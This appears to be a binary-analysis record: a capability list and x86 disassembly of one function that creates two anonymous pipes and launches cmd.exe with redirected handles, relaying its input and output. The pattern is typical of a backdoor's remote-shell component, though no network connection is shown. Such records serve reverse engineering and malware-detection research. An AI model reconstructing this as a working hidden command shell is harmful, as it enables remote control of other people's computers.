Function at 0x100090aa
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
mov eax, 0x1001187c
call fcn.100112b0
sub esp, 0x168
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x2c], esi
call fcn.100078f0
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x6c]
mov dword [ebp - 0x70], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x24]
mov dword [ebp - 0x28], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x173]
mov byte [ebp - 0x174], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x18]
lea edi, [esi + 0x1c]
lea eax, [esi + 0x10]
push ecx
push edi
push eax
mov dword [ebp - 4], ebx
mov dword [esi], 0x100125d4
mov dword [eax], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [edi], ebx
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000915e
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x10009148
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
cmp edi, ebx
je 0x1000928c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000928c
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10009198
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x10009185
push eax
call edi
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x1000928c
push eax
call edi
jmp 0x1000928c
push 0x44
lea eax, [ebp - 0x70]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x28]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esi + 0x18]
push 0x104
mov dword [ebp - 0x38], eax
mov eax, dword [edi]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x174]
mov dword [ebp - 0x70], 0x44
push eax
mov word [ebp - 0x40], bx
mov dword [ebp - 0x44], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x174]
push str.cmd.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x28]
pop ecx
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea eax, [ebp - 0x174]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000923f
push dword [esi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esi + 0x14]
call ebx
push dword [esi + 0x18]
call ebx
push dword [edi]
call ebx
jmp 0x1000928c
mov eax, dword [ebp - 0x28]
push 1
mov dword [esi + 0x20], eax
mov eax, dword [ebp - 0x24]
mov dword [esi + 0x24], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x80
call fcn.1000794b
mov ecx, esi
call fcn.10007990
push ebx
push ebx
push ebx
push esi
push 0x1000938e
push ebx
push ebx
call fcn.1000a8ef
push ebx
push ebx
push ebx
push esi
push 0x10009420
push ebx
push ebx
mov dword [esi + 0x28], eax
call fcn.1000a8ef
add esp, 0x38
mov dword [esi + 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4